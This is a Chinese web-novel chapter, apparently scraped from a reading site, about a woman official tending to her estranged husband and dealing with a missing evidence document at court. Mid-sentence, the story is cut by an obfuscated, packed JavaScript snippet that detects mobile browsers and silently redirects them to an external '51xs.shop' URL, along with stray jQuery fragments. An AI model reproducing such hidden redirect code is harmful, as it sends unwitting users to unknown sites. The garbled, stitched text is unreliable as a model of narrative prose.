4. 第 4 章
    绮窗疏影。

    季长箜穿着单薄的里衣坐于床榻之上,乌发还滴着水,浸湿了胸前一片。

    恍若未知,只望着院中杨树投射在纸窗上晃动的影发呆。

    一门之隔的姬宣清没有站在光亮处,以免影子投射在糊于木门的丝绵纸上。

    她侧耳听着屋里的声响,而后推开了门。

    便见着他湿着乌发,雪肤如玉,瘦弱的身子只穿了件里衣,像只精致的、毫无生气的瓷娃娃。

    他应是听到了门推开的声音,朝这边看来。

    “青空为何没替你擦干头发?”姬宣清问。

    季长箜这才疑惑低头,才发现白色的里衣早已湿了一片,贴在胸前,隐隐透出些粉意。

    “唰”地便红了脸,蜷缩起身子,并未说话。

    姬宣清也知这事不能怪罪青空,他最是在意季长箜,若非季长箜下令,绝不会玩忽职守。

    床榻的木质雕花栏杆上搭着块白色巾帕,应是青空放于此。

    姬宣清拿起,坐于季长箜身旁。

    那人条件反射性往一旁退去。

    “过来。”

    又躲她,姬宣清心中不悦。

    因着前世多年高位,早已积威甚重,话语间也夹杂了不少命令的口吻。

    苦涩之感在心间蔓延,季长箜愈发觉得姬宣清好似变了个人似的。

    从前待他谦和,也算是相敬如宾。

    年少不懂,以为妻夫间便该是这般敬重却少亲昵。年岁渐长,才知世间妻夫相处方式千千万,而这种形同生意伙伴的关系,他最不喜。

    可至少从前是尊重他的,现在却将他当做个呼之即来挥之即去的物件。

    “怎么又不说话?”

    姬宣清知道经过此前季家流放一事,与季长箜之间还有隔阂。

    本着“山不自来我自去”的原则,姬宣清捧着巾帕,再靠近他一些。

    这次,季长箜并没有抗拒她。

    巾帕覆于他的发尾。

    她在干什么?

    季长箜咬住嘴唇,感觉到发丝间的拉扯,余光瞥着一侧的女人。

    她在给他擦头发?

    不,怎么会?

    季长箜又怕自作多情,从前她待他还算好时,也没这般细致,如今二人间感情更加淡漠,她又怎会做这样的事情?

    “可是扯着头发,疼了?”

    姬宣清眼尖地看到他蹙眉捧心的模样,还以为是自己粗手粗脚弄疼了他。

    她!

    季长箜下意识回头。

    乌发从姬宣清指尖滑过,甩开一排水珠,几滴落在她的脸上。

    “对,对不起。”

    季长箜喃喃,那人手中还握着帕子,方才他见着了,她在一寸寸地替他擦发。

    水珠顺着光洁的面颊滑下,向来以笑面示人的姬大人好似哭了般,带着几分诡异的滑稽。

    季长箜从未见过她哭,而今一见,面上不自觉带了三分笑意。

    姬宣清无故被甩了水,讨好夫郎的第一步便出师不利,心中难免郁郁。

    可见得美人发笑,出糗的事情都有了几分心甘情愿。

    “回过头去,我再给你好好擦擦。”

    姬宣清伸出食指抵住他的脑门,令他坐正。

    季长箜也没反对抵抗,低低应了声,抱着双膝,小心将自己缩成了一个团,任由她施为。

    屋中蜡烛发出“噼啪”的响声。

    姬宣清见着缠绕在手掌间的乌发干得差不多了,起身将巾帕放于小几上。

    道:“早些歇息吧,时候不早了。”

    说罢,又吹熄了一旁的蜡烛。

    屋子里一下子就变得昏暗起来,只有些莹莹月色透过窗纸落入屋内。

    季长箜扯过被褥,盖上后,抿了抿唇。

    又将那被褥朝外间多扯出些,给姬宣清留足了空闲。

    身侧的床榻一重。

    季长箜知道是姬宣清上了榻,她惯常用的熏香幽幽缠上他的鼻尖。

    他心中发紧,想起昨夜种种,恐惧中却又夹杂了些他也无法说清楚的情绪。

    那人躺下便不再动了。

    季长箜裹紧被褥,腰间还有些酸涩,今夜是不能再来了。

    她应当不会再逼迫他了吧?

    身旁之人的呼吸声愈发平缓。

    他所恐惧担忧的事情今夜不会发生了。

    可季长箜总觉得心间发涩。

    前不久才亲昵为他擦发,可转而又回到了过去,她稳稳占据半张床,无形中二人间画了一根线,越过了那根线便像是触犯了天条。

    同床共枕,便是个温热的拥抱也无。

    成婚六载,刨去落竹院的一年,五年了,一月两次,若恰逢他来了月事,又免了一次。

    同他差不多时日出嫁的男子,早早便是几个孩子的父亲了。

    只有他,一个也无。不知是他天生体弱不易受孕,还是妻夫间情事过少。

    手轻轻搭在腹间。黑暗中,他的眉眼也染上了忧愁。

    妻夫间的时日正往第七年去,再无子嗣,怕是犯了七出之罪。

    难道要给她张罗小侍了?

    身后,姬宣清悄悄睁开眼睛。

    一旁的男人侧躺着,背对着,好似很是抗拒她。

    昨夜确实太过胡闹,他身弱,应当怜惜。

    她翻了个身,正好贴于季长箜的身后。

    手臂轻揽在他的腰间,额头贴在他的颈边,湿热的呼吸喷洒在他的后背。

    他身子不好,常年发凉,可姬宣清却觉得像是幼时吃的冰糕,凉凉的又糯糯的,极香甜可口。

    她不自觉贴他更近,几乎将他整个人锁在怀里。

    尚未入眠、满腹心事的季长箜猛然坠入柔软的拥抱中。

    那种每一寸肌肤都要紧紧相贴的热烈,令他心悸。

    “咚、咚、咚!”

    一声比一声响,一声比一声快的心跳,好似惊雷在耳边炸响。

    姬宣清,她没睡着!

    季长箜不敢动。

    炙热的怀抱好似令他发了烧,脑中一片昏沉,再提不起心力去想那些烦人之事。

    **

    第二日下了朝。

    姬宣清正要回公廨处理公事。

    站于前列的黄致列快她一步,将她拉至僻静处。

    “姬大人,昨日我已同你说清事情的厉害程度,你怎么就不上上心呢?”

    黄尚书杵着脸,虽不算老,可长了一道道细纹,像一朵盛开的丑菊。

    “尚书大人,昨日下值,我便吩咐府衙中的侍从将四份公文一并送入公廨,早应呈在您的桌上了。”

    姬宣清拱手,恭敬答道。

    “昨日我只收到三份公文,最重要的那个并无踪影!”

    黄致列两手一摊。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13158322|138611||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    随即她又看向姬宣清,想等她的解释。

    可谁曾想看到了姬宣清凝重的神色。

    “我今早还问了登记公文的小吏,昨日上交四本公文名录都已登记在册,并未少了哪本。”

    姬宣清深吸了口气,又道:

    “户部官员递交公文,都需在专职的小吏处进行登记,由其记录在册,而后也由小吏统一提交于尚书处。”

    “昨日那公文极为重要,下官特意令侍从带着我的腰牌,登记在册后,越过小吏亲自送至黄尚书桌案。”

    “黄尚书办公之所,有贴身侍官值班,还有护卫把守,外人如何能进入房中取走证据?”

    “噢?姬大人的意思是怀疑本官的亲信背叛了本官?”

    黄致列皮笑肉不笑道。

    “难不成就不能是姬大人家的侍从使了手段,并未递交公文?”

    姬宣清心中发笑,此人分明是在点她,怀疑她没交出证物。

    “黄大人!”

    姬宣清故意皱眉,落下嘴角温和笑意,道:

    “世人皆知我与那叶良积怨已久,此人几次辱我,我恨她都来不及,且此前为了铲除此人,我折了不少人手,亦是早早布局,如今眼看着便能成功,我为何收手?”

    黄致列眯眼打量,见她神态凌然,并无躲闪之意,微微一笑。

    故作安抚,转口解释:“我没有怀疑姬大人的意思,我只是怀疑有人买通了姬大人家的侍从……”

    “绝无可能,家中侍从老小都在掌控下,且随我多年,忠心耿耿。”

    姬宣清冷声:

    “此事若是延误,放出了叶良,上面怪罪下来,黄尚书想着如何解释吧!”

    “诶!”

    黄致列当然知道严重性,否则也不会下朝就拉着姬宣清问询昨日之事。

    不少官员递交公文,尤其是要亲自送于上官的公文,常常先交后补录登记,更有甚者直接逃过此步骤。

    可姬宣清是个做事稳妥的,一板一眼,也给那失踪的公文留下个递交公廨的证据,便是想推卸责任于她,都无力可使。

    “姬宣清,你别走。可别忘了,我们是一条船上的,若是叶良真放出来,主战派那帮老梆子腾出手,可不会给我们好果子吃。”

    黄致列急跑两步,挥着宽大的衣袖,好容易才赶上她。

    “那你倒是说说现在应该怎么办啊?”

    黄致列气喘吁吁将她拦下。

    “昨日在公廨的人并不多,黄尚书一一查探便是。”

    姬宣清说罢,拱手告辞。

    落于其后的黄尚书呆呆看着她的背影,唾了自己几口“蠢蛋”。

    过于慌乱,竟忘了如此简单之法。

    现下已经朝着夏日去了,衣服愈发轻薄,若想藏下那厚厚一沓证物,必定举止有异,且下职后公廨人不多,一一排查并不会费太长时间。

    拿定主意,黄致列亦往公廨走去。

    行走间,又将此事翻来覆去思索,确实那姬宣清嫌疑最小。

    放出叶良,第一个被针对的便该是检举她的姬宣清。叶家余威尚存,绝不是个无家族支撑的寒门能抵挡的。

    观那姬宣清大难临头还能面不改色,极快想出应对之策。

    不怪首辅大人看中她,当真是可塑之才,确实该好好拉拢。

    若有机会,应主动为姬宣清牵桥搭线,拜于首辅门下。